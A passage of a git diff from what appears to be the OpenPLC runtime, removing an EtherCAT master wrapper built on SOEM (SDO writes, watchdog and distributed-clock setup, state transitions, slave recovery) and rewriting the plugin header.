- slave_pos, index, sdo->subindex, sdo->value, dt_name, size); - } else { - plugin_logger_debug(logger, - "Slave %d: writing SDO 0x%04X:%d = %lld (%s, %d bytes)", - slave_pos, index, sdo->subindex, (long long)(int64_t)sdo->value, - dt_name, size); - } - - /* Use per-slave SDO timeout if configured, otherwise SOEM default */ - int sdo_timeout_us = (sdo_timeout_ms > 0) ? (sdo_timeout_ms * 1000) : EC_TIMEOUTRXM; - - int wkc = ecx_SDOwrite(&inst->ecx_context, (uint16)slave_pos, - index, sdo->subindex, - FALSE, size, value_buf, sdo_timeout_us); - - if (wkc <= 0) { - plugin_logger_warn(logger, - "Slave %d SDO 0x%04X:%d write failed (wkc=%d, name='%s')", - slave_pos, index, sdo->subindex, wkc, sdo->name); - } else { - plugin_logger_debug(logger, - "Slave %d SDO 0x%04X:%d write OK (name='%s')", - slave_pos, index, sdo->subindex, sdo->name); - written++; - } - } - - if (written < sdo_count) { - plugin_logger_warn(logger, - "Slave %d: only %d/%d SDOs written successfully", - slave_pos, written, sdo_count); - return -1; - } - plugin_logger_info(logger, "Slave %d: %d/%d SDOs written successfully", - slave_pos, written, sdo_count); - return 0; -} - -/* - * ============================================================================= - * Phase 3: Process Data Mapping + Distributed Clocks - * ============================================================================= - */ - -/** - * @brief Configure watchdog timers for a single slave via register writes. - * - * EtherCAT watchdog registers (addressed by configured address): - * 0x0400 (2 bytes) - Watchdog divider (default 0x09C2 = 2498) - * 0x0402 (2 bytes) - PDI watchdog time (in watchdog divider ticks) - * 0x0420 (2 bytes) - SM watchdog time (in watchdog divider ticks) - * - * Default divider 0x09C2 = 2498 -> (2498+2)*25ns = 62.5us per tick. - * To set watchdog to X ms: ticks = X * 1000 / 62.5 = X * 16 - * - * SM watchdog is treated as a critical configuration when @p strict is - * true: if the FPWR returns wkc<=0, the slave would run with the - * EEPROM-default watchdog (often disabled), defeating the operator's - * intent. PDI watchdog is always best-effort -- many slaves do not - * support that register and return wkc=0 legitimately. - * - * @param inst Master instance - * @param slave_pos 1-based slave position on the bus - * @param wd Watchdog configuration - * @param strict Abort startup on SM watchdog write failure - * @param logger Plugin logger instance - * @return 0 on success, -1 on SM watchdog write failure with @p strict - */ -static int ecat_master_configure_watchdog(ecat_master_instance_t *inst, int slave_pos, - const ecat_watchdog_t *wd, - bool strict, - plugin_logger_t *logger) -{ - /* Maximum watchdog timeout in ms that fits in a uint16_t register - * with the default divider (1 tick = 62.5 us -> ticks = ms * 16). - * 65535 / 16 = 4095.9 ms */ - const int max_watchdog_ms = UINT16_MAX / 16; - - uint16_t configadr = inst->ecx_context.slavelist[slave_pos].configadr; - int wkc; - - /* SM watchdog register 0x0420 - only write if explicitly enabled. */ - if (wd->sm_watchdog_enabled) { - uint16_t sm_wd_ticks = 0; - if (wd->sm_watchdog_ms > 0) { - int clamped_ms = wd->sm_watchdog_ms; - if (clamped_ms > max_watchdog_ms) { - plugin_logger_warn(logger, - "Slave %d: SM watchdog %d ms exceeds max %d ms, clamping", - slave_pos, wd->sm_watchdog_ms, max_watchdog_ms); - clamped_ms = max_watchdog_ms; - } - sm_wd_ticks = (uint16_t)(clamped_ms * 16); - } - wkc = ecx_FPWR(&inst->ecx_context.port, configadr, 0x0420, - sizeof(sm_wd_ticks), &sm_wd_ticks, EC_TIMEOUTRET); - if (wkc <= 0) { - if (strict) { - plugin_logger_error(logger, - "Slave %d: failed to write SM watchdog register 0x0420 (wkc=%d) -- " - "slave would run with EEPROM-default watchdog (often disabled)", - slave_pos, wkc); - return -1; - } - plugin_logger_warn(logger, - "Slave %d: SM watchdog write failed (wkc=%d), strict_sdo=false -- continuing", - slave_pos, wkc); - } else { - plugin_logger_debug(logger, - "Slave %d: SM watchdog enabled (ticks=%u, ~%d ms)", - slave_pos, sm_wd_ticks, wd->sm_watchdog_ms); - } - } else { - plugin_logger_debug(logger, - "Slave %d: SM watchdog disabled, skipping register write", - slave_pos); - } - - /* PDI watchdog register 0x0402 - many slaves do not support this - * register and return wkc=0 legitimately, so always best-effort. */ - if (wd->pdi_watchdog_enabled) { - uint16_t pdi_wd_ticks = 0; - if (wd->pdi_watchdog_ms > 0) { - int clamped_ms = wd->pdi_watchdog_ms; - if (clamped_ms > max_watchdog_ms) { - plugin_logger_warn(logger, - "Slave %d: PDI watchdog %d ms exceeds max %d ms, clamping", - slave_pos, wd->pdi_watchdog_ms, max_watchdog_ms); - clamped_ms = max_watchdog_ms; - } - pdi_wd_ticks = (uint16_t)(clamped_ms * 16); - } - wkc = ecx_FPWR(&inst->ecx_context.port, configadr, 0x0402, - sizeof(pdi_wd_ticks), &pdi_wd_ticks, EC_TIMEOUTRET); - if (wkc <= 0) { - plugin_logger_warn(logger, - "Slave %d: PDI watchdog write returned wkc=%d (many slaves do not " - "support this register -- typically benign)", - slave_pos, wkc); - } else { - plugin_logger_debug(logger, - "Slave %d: PDI watchdog enabled (ticks=%u, ~%d ms)", - slave_pos, pdi_wd_ticks, wd->pdi_watchdog_ms); - } - } else { - plugin_logger_debug(logger, - "Slave %d: PDI watchdog disabled, skipping register write", - slave_pos); - } - - return 0; -} - -/** - * @brief Configure Distributed Clocks per slave based on JSON configuration. - * - * First calls ecx_configdc() to discover DC-capable slaves and measure - * propagation delays. Then for each slave with dc.enabled, configures - * SYNC0 and/or SYNC1 signals. - * - * @param config Parsed EtherCAT configuration - * @param logger Plugin logger instance - */ -static void ecat_master_configure_dc(ecat_master_instance_t *inst, plugin_logger_t *logger) -{ - const ecat_config_t *config = &inst->config; - - /* Step 1: Let SOEM discover DC-capable slaves and measure delays */ - plugin_logger_info(logger, "Configuring Distributed Clocks..."); - ecx_configdc(&inst->ecx_context); - - /* Step 2: Apply per-slave DC configuration */ - for (int i = 0; i < config->slave_count; i++) { - const ecat_slave_t *slave = &config->slaves[i]; - int pos = slave->position; - - if (!slave->dc.enabled) - continue; - - if (pos < 1 || pos > inst->ecx_context.slavecount) { - plugin_logger_warn(logger, - "Slave %d (%s): DC config skipped - position out of range", - pos, slave->name); - continue; - } - - if (!inst->ecx_context.slavelist[pos].hasdc) { - plugin_logger_warn(logger, - "Slave %d (%s): DC config requested but slave has no DC support", - pos, slave->name); - continue; - } - - /* Determine cycle time: use slave-specific or fall back to master cycle */ - uint32_t cycle_ns; - if (slave->dc.sync_unit_cycle_us > 0) { - cycle_ns = (uint32_t)(slave->dc.sync_unit_cycle_us * 1000); - } else { - cycle_ns = (uint32_t)(config->master.cycle_time_us * 1000); - } - - if (slave->dc.sync0_enabled && slave->dc.sync1_enabled) { - /* Both SYNC0 and SYNC1 */ - uint32_t cycle0_ns = (slave->dc.sync0_cycle_us > 0) - ? (uint32_t)(slave->dc.sync0_cycle_us * 1000) : cycle_ns; - uint32_t cycle1_ns = (slave->dc.sync1_cycle_us > 0) - ? (uint32_t)(slave->dc.sync1_cycle_us * 1000) : cycle_ns; - int32_t shift_ns = (int32_t)(slave->dc.sync0_shift_us * 1000); - - ecx_dcsync01(&inst->ecx_context, (uint16)pos, TRUE, - cycle0_ns, cycle1_ns, shift_ns); - - plugin_logger_info(logger, - "Slave %d (%s): DC SYNC0+SYNC1 enabled " - "(cycle0=%u ns, cycle1=%u ns, shift=%d ns)", - pos, slave->name, cycle0_ns, cycle1_ns, shift_ns); - - } else if (slave->dc.sync0_enabled) { - /* SYNC0 only */ - uint32_t sync0_ns = (slave->dc.sync0_cycle_us > 0) - ? (uint32_t)(slave->dc.sync0_cycle_us * 1000) : cycle_ns; - int32_t shift_ns = (int32_t)(slave->dc.sync0_shift_us * 1000); - - ecx_dcsync0(&inst->ecx_context, (uint16)pos, TRUE, - sync0_ns, shift_ns); - - plugin_logger_info(logger, - "Slave %d (%s): DC SYNC0 enabled (cycle=%u ns, shift=%d ns)", - pos, slave->name, sync0_ns, shift_ns); - - } else { - /* DC enabled but no SYNC signals - just log it */ - plugin_logger_debug(logger, - "Slave %d (%s): DC enabled but no SYNC signals configured", - pos, slave->name); - } - } -} - -int ecat_master_configure(ecat_master_instance_t *inst, plugin_logger_t *logger) -{ - const ecat_config_t *config = &inst->config; - - if (!inst->soem_initialized) { - plugin_logger_error(logger, "Cannot configure: SOEM not initialized"); - return -1; - } - - /* Step 4: Map process data (IO map). ecx_config_map_group returns - * the IOmap size in bytes -- 0 means SOEM could not lay out PDOs - * (typically SII corrupted, mailbox stuck, or slave not responding - * to FPRD). Without this check we would silently enter SAFE-OP/OP - * with an empty IOmap and produce wkc=0 every cycle. */ - plugin_logger_info(logger, "Mapping process data..."); - - int io_size = ecx_config_map_group(&inst->ecx_context, &inst->iomap, 0); - if (io_size <= 0) { - plugin_logger_error(logger, - "ecx_config_map_group returned %d -- process data mapping failed " - "(likely SII / mailbox issue)", io_size); - return -1; - } - if (io_size > ECAT_IOMAP_SIZE) { - plugin_logger_error(logger, "IOmap overflow: need %d bytes, have %d", - io_size, ECAT_IOMAP_SIZE); - return -1; - } - - inst->iomap_used_size = (size_t)io_size; - - /* Cross-check: the per-group totals should add up to the same value - * SOEM returned. A mismatch is a SOEM bug or our config is racy -- - * not fatal but worth surfacing. */ - ec_groupt *grp = &inst->ecx_context.grouplist[0]; - uint32_t grp_total = (uint32_t)grp->Obytes + (uint32_t)grp->Ibytes; - if ((int)grp_total != io_size) { - plugin_logger_warn(logger, - "IOmap size mismatch: ecx returned %d but grp totals=%u " - "(Obytes=%d Ibytes=%d)", - io_size, grp_total, grp->Obytes, grp->Ibytes); - } - - plugin_logger_info(logger, "IO map: %d output bytes, %d input bytes, %d segments", - grp->Obytes, grp->Ibytes, grp->nsegments); - - /* Step 5: Configure watchdogs per slave. Reuses slave->strict_sdo -- - * a slave that wants strict SDO writes also wants strict SM watchdog - * writes; both are critical configuration the operator pinned in JSON. */ - plugin_logger_info(logger, "Configuring per-slave watchdogs..."); - for (int i = 0; i < config->slave_count; i++) { - const ecat_slave_t *slave = &config->slaves[i]; - int pos = slave->position; - if (pos < 1 || pos > inst->ecx_context.slavecount) - continue; - if (ecat_master_configure_watchdog(inst, pos, &slave->watchdog, - slave->strict_sdo, logger) != 0) { - plugin_logger_error(logger, - "Master '%s': Slave %d (%s): SM watchdog config failed and " - "strict_sdo=true -- aborting startup", - inst->name, pos, slave->name); - return -1; - } - } - - /* Step 6: Configure Distributed Clocks per slave */ - ecat_master_configure_dc(inst, logger); - - return 0; -} - -/* - * ============================================================================= - * Phase 4: Transition to OPERATIONAL - * ============================================================================= - */ - -int ecat_master_transition_to_op(ecat_master_instance_t *inst, plugin_logger_t *logger) -{ - const ecat_config_t *config = &inst->config; - - if (!inst->soem_initialized) { - plugin_logger_error(logger, "Cannot transition: SOEM not initialized"); - return -1; - } - - /* Compute maximum SAFE-OP->OP timeout across all configured slaves */ - int max_safeop_timeout_us = 0; - for (int i = 0; i < config->slave_count; i++) { - int t_us = config->slaves[i].timeouts.safeop_to_op_timeout_ms * 1000; - if (t_us > max_safeop_timeout_us) - max_safeop_timeout_us = t_us; - } - if (max_safeop_timeout_us == 0) - max_safeop_timeout_us = EC_TIMEOUTSTATE * 4; - - /* Step 6: Wait for SAFE_OP after config */ - plugin_logger_info(logger, "Waiting for SAFE_OP state..."); - plugin_logger_debug(logger, "Using SAFE-OP->OP timeout: %d us", max_safeop_timeout_us); - - ecx_statecheck(&inst->ecx_context, 0, EC_STATE_SAFE_OP, max_safeop_timeout_us); - - /* Read back actual states */ - ecx_readstate(&inst->ecx_context); - if (inst->ecx_context.slavelist[0].state != EC_STATE_SAFE_OP) { - plugin_logger_error(logger, - "Not all slaves reached SAFE_OP state (current state: 0x%04X)", - inst->ecx_context.slavelist[0].state); - - /* Log individual slave states for debugging */ - for (int i = 1; i <= inst->ecx_context.slavecount; i++) { - ec_slavet *slave = &inst->ecx_context.slavelist[i]; - if (slave->state != EC_STATE_SAFE_OP) { - plugin_logger_error(logger, - " Slave %d (%s): state=0x%04X, ALstatuscode=0x%04X", - i, slave->name, slave->state, slave->ALstatuscode); - } - } - - return -1; - } - - plugin_logger_info(logger, "All slaves in SAFE_OP state"); - - /* Step 7: Send initial process data and request OPERATIONAL */ - plugin_logger_info(logger, "Requesting OPERATIONAL state..."); - - /* Send one round of process data to make slave outputs happy */ - ecx_send_processdata(&inst->ecx_context); - ecx_receive_processdata(&inst->ecx_context, EC_TIMEOUTRET); - - /* Request OP state */ - inst->ecx_context.slavelist[0].state = EC_STATE_OPERATIONAL; - ecx_writestate(&inst->ecx_context, 0); - - /* Poll for OP state with process data exchange between checks. - * - * Cadence is bounded by the smallest configured SM watchdog: a SAFE-OP - * slave's SM2 watchdog starts counting on SAFE-OP entry and trips with - * AL Status 0x001B if the master stops writing for longer than - * sm_watchdog_ms. Cap the per-iteration statecheck timeout to a - * quarter of that smallest watchdog so the trickle of exchanges keeps - * SM2 rearmed throughout the SAFE-OP -> OP poll, regardless of how - * generous safeop_to_op_timeout_ms is set per slave. */ - int min_sm_wd_us = 0; - for (int i = 0; i < config->slave_count; i++) { - const ecat_watchdog_t *wd = &config->slaves[i].watchdog; - if (wd->sm_watchdog_enabled && wd->sm_watchdog_ms > 0) { - int wd_us = wd->sm_watchdog_ms * 1000; - if (min_sm_wd_us == 0 || wd_us < min_sm_wd_us) - min_sm_wd_us = wd_us; - } - } - /* Default ESC SM watchdog is 100 ms. Use it when no slave has an - * explicit watchdog configured. */ - if (min_sm_wd_us == 0) - min_sm_wd_us = 100 * 1000; - - int poll_timeout_us = min_sm_wd_us / 4; - if (poll_timeout_us < EC_TIMEOUTRET) - poll_timeout_us = EC_TIMEOUTRET; - - /* Total polling budget is the longest configured safeop->op timeout. - * Derive the retry count from the cadence we need. */ - int retries = max_safeop_timeout_us / poll_timeout_us; - if (retries < ECAT_OP_POLL_RETRIES) - retries = ECAT_OP_POLL_RETRIES; - - plugin_logger_debug(logger, - "OP poll cadence: timeout=%d us, retries=%d " - "(min SM watchdog among slaves=%d us)", - poll_timeout_us, retries, min_sm_wd_us); - - int op_reached = 0; - for (int retry = 0; retry < retries; retry++) { - ecx_send_processdata(&inst->ecx_context); - ecx_receive_processdata(&inst->ecx_context, EC_TIMEOUTRET); - ecx_statecheck(&inst->ecx_context, 0, EC_STATE_OPERATIONAL, poll_timeout_us); - - if (inst->ecx_context.slavelist[0].state == EC_STATE_OPERATIONAL) { - op_reached = 1; - break; - } - } - - if (!op_reached) { - plugin_logger_error(logger, - "Not all slaves reached OPERATIONAL state after %d retries " - "(poll_timeout=%d us)", - retries, poll_timeout_us); - - /* Log individual slave states for debugging */ - ecx_readstate(&inst->ecx_context); - for (int i = 1; i <= inst->ecx_context.slavecount; i++) { - ec_slavet *slave = &inst->ecx_context.slavelist[i]; - if (slave->state != EC_STATE_OPERATIONAL) { - plugin_logger_error(logger, - " Slave %d (%s): state=0x%04X, ALstatuscode=0x%04X", - i, slave->name, slave->state, slave->ALstatuscode); - } - } - - return -1; - } - - plugin_logger_info(logger, "EtherCAT master operational with %d slave(s)", - inst->ecx_context.slavecount); - - return 0; -} - -/* - * ============================================================================= - * Master Close - * ============================================================================= - */ - -void ecat_master_close(ecat_master_instance_t *inst, plugin_logger_t *logger) -{ - if (inst->soem_initialized) { - /* Step 1: drive outputs to zero before the transition (safe-close). - * For drives, valves and active-high IO this leaves the slave in a - * safe state immediately, before its SM watchdog has a chance to - * fire. Skip when there is no IOmap yet (close on early-startup - * failure path). */ - if (inst->config.master.safe_close && inst->iomap_used_size > 0) { - plugin_logger_info(logger, - "Zeroing outputs and sending final processdata before close"); - memset(inst->iomap, 0, inst->iomap_used_size); - ecx_send_processdata(&inst->ecx_context); - int wkc = ecx_receive_processdata(&inst->ecx_context, EC_TIMEOUTRET); - if (wkc <= 0) { - plugin_logger_warn(logger, - "Final processdata returned wkc=%d -- outputs may not have " - "reached slaves; falling back to slave SM watchdog", wkc); - } - } - - /* Step 2: request INIT and confirm the transition. Discarding - * wkc here meant slaves could remain in OP/SAFE-OP after stop_loop - * if the broadcast did not reach them. */ - plugin_logger_info(logger, "Transitioning slaves to INIT state..."); - inst->ecx_context.slavelist[0].state = EC_STATE_INIT; - int init_wkc = ecx_writestate(&inst->ecx_context, 0); - if (init_wkc <= 0) { - plugin_logger_error(logger, - "writestate(INIT) returned wkc=%d -- slaves may remain in " - "OP/SAFE-OP until their SM watchdog expires", init_wkc); - } else { - /* Short timeout -- not worth waiting safeop_to_op here. */ - ecx_statecheck(&inst->ecx_context, 0, EC_STATE_INIT, EC_TIMEOUTSTATE); - ecx_readstate(&inst->ecx_context); - int stuck = 0; - for (int i = 1; i <= inst->ecx_context.slavecount; i++) { - uint16_t st = inst->ecx_context.slavelist[i].state; - if (st != EC_STATE_INIT) { - plugin_logger_warn(logger, - "Slave %d (%s): did not reach INIT (state=0x%04X) -- " - "fallback to slave SM watchdog", - i, inst->ecx_context.slavelist[i].name, st); - stuck++; - } - } - if (stuck == 0) { - plugin_logger_info(logger, "All slaves confirmed in INIT"); - } - } - - /* Step 3: close the network interface */ - ecx_close(&inst->ecx_context); - inst->soem_initialized = 0; - } - - /* Always attempt to revert iface state, even if SOEM init had failed - * after we already modified the interface. Revert reads in-memory - * flags and is a no-op when nothing was applied. */ - ecat_iface_state_revert(&inst->iface_state, logger); - - /* Clear IO map */ - memset(inst->iomap, 0, sizeof(inst->iomap)); - inst->iomap_used_size = 0; - - plugin_logger_info(logger, "EtherCAT master closed"); -} - -/* - * ============================================================================= - * Process Data and State Access - * ============================================================================= - */ - -int ecat_master_exchange_processdata(ecat_master_instance_t *inst, int timeout_us) -{ - ecx_send_processdata(&inst->ecx_context); - int wkc = ecx_receive_processdata(&inst->ecx_context, - (timeout_us > 0) ? timeout_us : EC_TIMEOUTRET); - return wkc; -} - -int ecat_master_get_expected_wkc(ecat_master_instance_t *inst) -{ - ec_groupt *grp = &inst->ecx_context.grouplist[0]; - return (grp->outputsWKC * 2) + grp->inputsWKC; -} - -const ec_slavet *ecat_master_get_slave(ecat_master_instance_t *inst, int position) -{ - if (position < 1 || position > inst->ecx_context.slavecount) - return NULL; - return &inst->ecx_context.slavelist[position]; -} - -uint16_t ecat_master_get_slave_state(ecat_master_instance_t *inst, int position) -{ - if (position < 1 || position > inst->ecx_context.slavecount) - return 0; - return inst->ecx_context.slavelist[position].state; -} - -/* - * ============================================================================= - * Slave Recovery - * ============================================================================= - */ - -/** - * @brief Issue ecx_writestate during recovery, capturing wkc. - * - * wkc<=0 means the request did not reach the slave (link/cable issue, - * not a config problem). Tally these into recovery_writestate_failures - * so the operator can distinguish "physical recovery failure" from - * "slave reachable but rejecting state" in the diagnostics. - * - * @return ecx_writestate's wkc (positive on success, <=0 on no response) - */ -static int writestate_with_check(ecat_master_instance_t *inst, int position, - uint16_t target_state, plugin_logger_t *logger) -{ - inst->ecx_context.slavelist[position].state = target_state; - int wkc = ecx_writestate(&inst->ecx_context, (uint16)position); - if (wkc <= 0) { - atomic_fetch_add_explicit(&inst->recovery_writestate_failures, 1, - memory_order_relaxed); - plugin_logger_warn(logger, - "Slave %d (%s): writestate(0x%04X) wkc=%d -- request did not " - "reach slave (link/cable issue?)", - position, inst->ecx_context.slavelist[position].name, - target_state, wkc); - } - return wkc; -} - -int ecat_master_recover_slave(ecat_master_instance_t *inst, int position, plugin_logger_t *logger) -{ - if (position < 1 || position > inst->ecx_context.slavecount) { - plugin_logger_error(logger, "Invalid slave position %d for recovery", position); - return -1; - } - - ec_slavet *slave = &inst->ecx_context.slavelist[position]; - uint16_t current_state = slave->state; - - if (current_state == EC_STATE_OPERATIONAL) { - /* Already operational */ - return 1; - } - - if (current_state == (EC_STATE_SAFE_OP + EC_STATE_ERROR)) { - /* SAFE_OP + ERROR: ACK the error, then request OP */ - plugin_logger_info(logger, - "Slave %d (%s): SAFE_OP+ERROR (ALstatus=0x%04X), sending ACK", - position, slave->name, slave->ALstatuscode); - - writestate_with_check(inst, position, EC_STATE_SAFE_OP + EC_STATE_ACK, logger); - - /* Now request OP */ - writestate_with_check(inst, position, EC_STATE_OPERATIONAL, logger); - - /* Check if it worked */ - ecx_statecheck(&inst->ecx_context, (uint16)position, - EC_STATE_OPERATIONAL, EC_TIMEOUTRET); - - if (slave->state == EC_STATE_OPERATIONAL) { - plugin_logger_info(logger, "Slave %d (%s): recovered to OP", - position, slave->name); - return 1; - } - return 0; - } - - if (current_state == EC_STATE_SAFE_OP) { - /* SAFE_OP: just request OP */ - plugin_logger_info(logger, "Slave %d (%s): in SAFE_OP, requesting OP", - position, slave->name); - - writestate_with_check(inst, position, EC_STATE_OPERATIONAL, logger); - - ecx_statecheck(&inst->ecx_context, (uint16)position, - EC_STATE_OPERATIONAL, EC_TIMEOUTRET); - - if (slave->state == EC_STATE_OPERATIONAL) { - plugin_logger_info(logger, "Slave %d (%s): recovered to OP", - position, slave->name); - return 1; - } - return 0; - } - - if (current_state > EC_STATE_NONE) { - /* Lower state but still present: try full reconfiguration */ - plugin_logger_info(logger, - "Slave %d (%s): state=0x%04X, attempting reconfig", - position, slave->name, current_state); - - if (ecx_reconfig_slave(&inst->ecx_context, (uint16)position, EC_TIMEOUTRET)) { - slave->islost = FALSE; - plugin_logger_info(logger, "Slave %d (%s): reconfigured", position, slave->name); - - /* After reconfig, check if it reached OP */ - ecx_statecheck(&inst->ecx_context, (uint16)position, - EC_STATE_OPERATIONAL, EC_TIMEOUTRET); - if (slave->state == EC_STATE_OPERATIONAL) - return 1; - return 0; - } - return 0; - } - - /* EC_STATE_NONE: slave is lost, try recover */ - if (!slave->islost) { - ecx_statecheck(&inst->ecx_context, (uint16)position, - EC_STATE_OPERATIONAL, EC_TIMEOUTRET); - if (slave->state == EC_STATE_NONE) { - slave->islost = TRUE; - plugin_logger_warn(logger, "Slave %d (%s): marked as lost", - position, slave->name); - } - return 0; - } - - /* Slave was marked lost - try to recover */ - if (ecx_recover_slave(&inst->ecx_context, (uint16)position, EC_TIMEOUTRET)) { - slave->islost = FALSE; - plugin_logger_info(logger, "Slave %d (%s): recovered from lost state", - position, slave->name); - return 1; - } - - return 0; -} - -void ecat_master_read_states(ecat_master_instance_t *inst) -{ - if (inst->soem_initialized) - ecx_readstate(&inst->ecx_context); -} - -/* - * ============================================================================= - * IOmap Access - * ============================================================================= - */ - -uint8_t *ecat_master_get_iomap(ecat_master_instance_t *inst) -{ - if (!inst->soem_initialized) - return NULL; - return inst->iomap; -} - -size_t ecat_master_get_iomap_size(ecat_master_instance_t *inst) -{ - return inst->iomap_used_size; -} - -int ecat_master_get_slave_count(ecat_master_instance_t *inst) -{ - if (!inst->soem_initialized) - return 0; - return inst->ecx_context.slavecount; -} diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_master.h b/core/src/drivers/plugins/native/ethercat/ethercat_master.h deleted file mode 100644 index b757de20..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_master.h +++ /dev/null @@ -1,205 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_master.h - * @brief EtherCAT Master SOEM Wrapper Interface - * - * Provides a high-level interface for initializing and managing the - * EtherCAT master using the SOEM library. Handles network initialization, - * slave scanning, topology validation, state transitions, SDO configuration, - * and slave recovery. - * - * The initialization sequence is split into discrete phases to support - * the plugin state machine: - * 1. open_and_scan - Open interface, scan bus, validate topology - * 2. write_sdos - Write SDO parameters to slaves (in PRE-OP) - * 3. configure - Map process data, configure Distributed Clocks - * 4. transition_to_op - Transition all slaves to OPERATIONAL - */ - -#ifndef ETHERCAT_MASTER_H -#define ETHERCAT_MASTER_H - -#include "ethercat_config.h" -#include "plugin_logger.h" -#include "soem/soem.h" - -/** - * @brief Open network interface, scan bus, and validate topology - * - * Performs initialization steps 1-3: - * 1. Open network interface via SOEM - * 2. Scan the bus for slaves - * 3. Validate topology against JSON configuration - * - * @param inst Per-master instance (contains config, SOEM context, IOmap) - * @param logger Plugin logger instance - * @return 0 on success, -1 on failure - */ -int ecat_master_open_and_scan(ecat_master_instance_t *inst, plugin_logger_t *logger); - -/** - * @brief Write SDO parameters to a slave - * - * Writes all configured SDO entries to the specified slave using ecx_SDOwrite. - * Must be called while slaves are in PRE-OP state (after open_and_scan, - * before configure). - * - * @param inst Per-master instance - * @param slave_pos 1-based slave position on the bus - * @param sdos Array of SDO configuration entries - * @param sdo_count Number of SDO entries - * @param sdo_timeout_ms SDO operation timeout in milliseconds (0 = SOEM default) - * @param logger Plugin logger instance - * @return 0 if all SDOs were written, -1 if any SDO write failed - * (sanity-check, missing CoE support, or any wkc<=0). When the - * caller has slave->strict_sdo set, -1 should abort startup. - */ -int ecat_master_write_sdos(ecat_master_instance_t *inst, int slave_pos, - const ecat_sdo_config_t *sdos, - int sdo_count, int sdo_timeout_ms, - plugin_logger_t *logger); - -/** - * @brief Map process data and configure Distributed Clocks - * - * Performs initialization steps 4-5: - * 4. Map process data (IOmap) - * 5. Configure Distributed Clocks - * - * @param inst Per-master instance - * @param logger Plugin logger instance - * @return 0 on success, -1 on failure - */ -int ecat_master_configure(ecat_master_instance_t *inst, plugin_logger_t *logger); - -/** - * @brief Transition all slaves to OPERATIONAL state - * - * Performs initialization steps 6-7: - * 6. Wait for SAFE_OP state - * 7. Request and poll for OPERATIONAL state - * - * Uses per-slave safeop_to_op_timeout_ms from the configuration (the - * maximum across all slaves is applied to the broadcast statecheck). - * - * @param inst Per-master instance (for config and SOEM context) - * @param logger Plugin logger instance - * @return 0 on success, -1 on failure - */ -int ecat_master_transition_to_op(ecat_master_instance_t *inst, plugin_logger_t *logger); - -/** - * @brief Validate bus topology against configuration - * - * Compares the slaves found on the bus with the expected configuration: - * - Number of slaves must match - * - For each slave: vendor_id and product_code must match - * - * @param inst Per-master instance - * @param logger Plugin logger instance - * @return 0 on success, -1 on mismatch - */ -int ecat_master_validate_topology(ecat_master_instance_t *inst, plugin_logger_t *logger); - -/** - * @brief Close the EtherCAT master - * - * Transitions all slaves to INIT state and closes the network interface. - * - * @param inst Per-master instance - * @param logger Plugin logger instance - */ -void ecat_master_close(ecat_master_instance_t *inst, plugin_logger_t *logger); - -/** - * @brief Exchange process data with all slaves - * - * Sends outputs to slaves and receives inputs. - * - * @param inst Per-master instance - * @param timeout_us Receive timeout in microseconds (0 = use SOEM default) - * @return Working counter value from receive, or -1 on error - */ -int ecat_master_exchange_processdata(ecat_master_instance_t *inst, int timeout_us); - -/** - * @brief Get the expected working counter for the bus - * - * Calculated as: outputsWKC * 2 + inputsWKC for group 0. - * - * @param inst Per-master instance - * @return Expected WKC value - */ -int ecat_master_get_expected_wkc(ecat_master_instance_t *inst); - -/** - * @brief Get a pointer to a live SOEM slave descriptor - * - * @param inst Per-master instance - * @param position 1-based slave position on the bus - * @return Pointer to ec_slavet, or NULL if position is invalid - */ -const ec_slavet *ecat_master_get_slave(ecat_master_instance_t *inst, int position); - -/** - * @brief Get the AL state of a specific slave - * - * Reads the current state from the SOEM slavelist (cached from last bus read). - * - * @param inst Per-master instance - * @param position 1-based slave position - * @return EC_STATE_* value, or 0 if position is invalid - */ -uint16_t ecat_master_get_slave_state(ecat_master_instance_t *inst, int position); - -/** - * @brief Attempt to recover a slave that has left OPERATIONAL state - * - * Uses the SOEM recovery pattern: - * - SAFE_OP + ERROR: ACK error, then request OP - * - SAFE_OP: request OP directly - * - Lower states: ecx_reconfig_slave + ecx_recover_slave - * - * @param inst Per-master instance - * @param position 1-based slave position - * @param logger Plugin logger instance - * @return 1 if recovered to OP, 0 if still recovering, -1 on error - */ -int ecat_master_recover_slave(ecat_master_instance_t *inst, int position, plugin_logger_t *logger); - -/** - * @brief Read back all slave states from the bus - * - * Calls ecx_readstate() to refresh the cached slave states. - * - * @param inst Per-master instance - */ -void ecat_master_read_states(ecat_master_instance_t *inst); - -/** - * @brief Get a pointer to the IOmap buffer base - * - * @param inst Per-master instance - * @return Pointer to the IOmap buffer, or NULL if not initialized - */ -uint8_t *ecat_master_get_iomap(ecat_master_instance_t *inst); - -/** - * @brief Get the total IOmap size (inputs + outputs) - * - * @param inst Per-master instance - * @return Total bytes used in the IOmap, or 0 if not initialized - */ -size_t ecat_master_get_iomap_size(ecat_master_instance_t *inst); - -/** - * @brief Get the number of slaves discovered on the bus - * - * @param inst Per-master instance - * @return Slave count, or 0 if not initialized - */ -int ecat_master_get_slave_count(ecat_master_instance_t *inst); - -#endif /* ETHERCAT_MASTER_H */ diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c index e9009eb2..878c9c85 100644 --- a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c +++ b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c @@ -3,2106 +3,523 @@ /** * @file ethercat_plugin.c - * @brief EtherCAT Plugin Implementation for OpenPLC Runtime v4 + * @brief EtherCAT client plugin: relays process data between EtherDOG and the image tables. * - * This plugin implements one or more EtherCAT masters using the SOEM library. - * It consumes the ethercat.json configuration generated by the OpenPLC Editor - * and manages the EtherCAT bus lifecycle with an explicit state machine. - * - * Multi-master support: - * - Each JSON entry with "protocol":"ETHERCAT" becomes an independent master - * instance with its own SOEM context, IOmap, channel map, and monitor thread. - * - The plugin-wide logger and runtime args are shared across all masters. - * - * Phase 1: Config parsing, SOEM init, topology validation - * Phase 2: SDO writes, PDO mapping, state transition to OPERATIONAL - * Phase 3: Synchronous process data exchange within PLC scan cycle - * - * Architecture: - * - Each master owns a dedicated `ecat_bus_thread` running at - * SCHED_FIFO with the configured taskPriority. The thread sleeps - * absolutely (CLOCK_MONOTONIC + TIMER_ABSTIME) to its next deadline - * so jitter stays bounded. - * - Per cycle: brief mutex window to copy outputs PLC→IOmap, release - * mutex, run the SOEM exchange (no PLC mutex held), brief mutex - * window again to copy inputs IOmap→PLC. 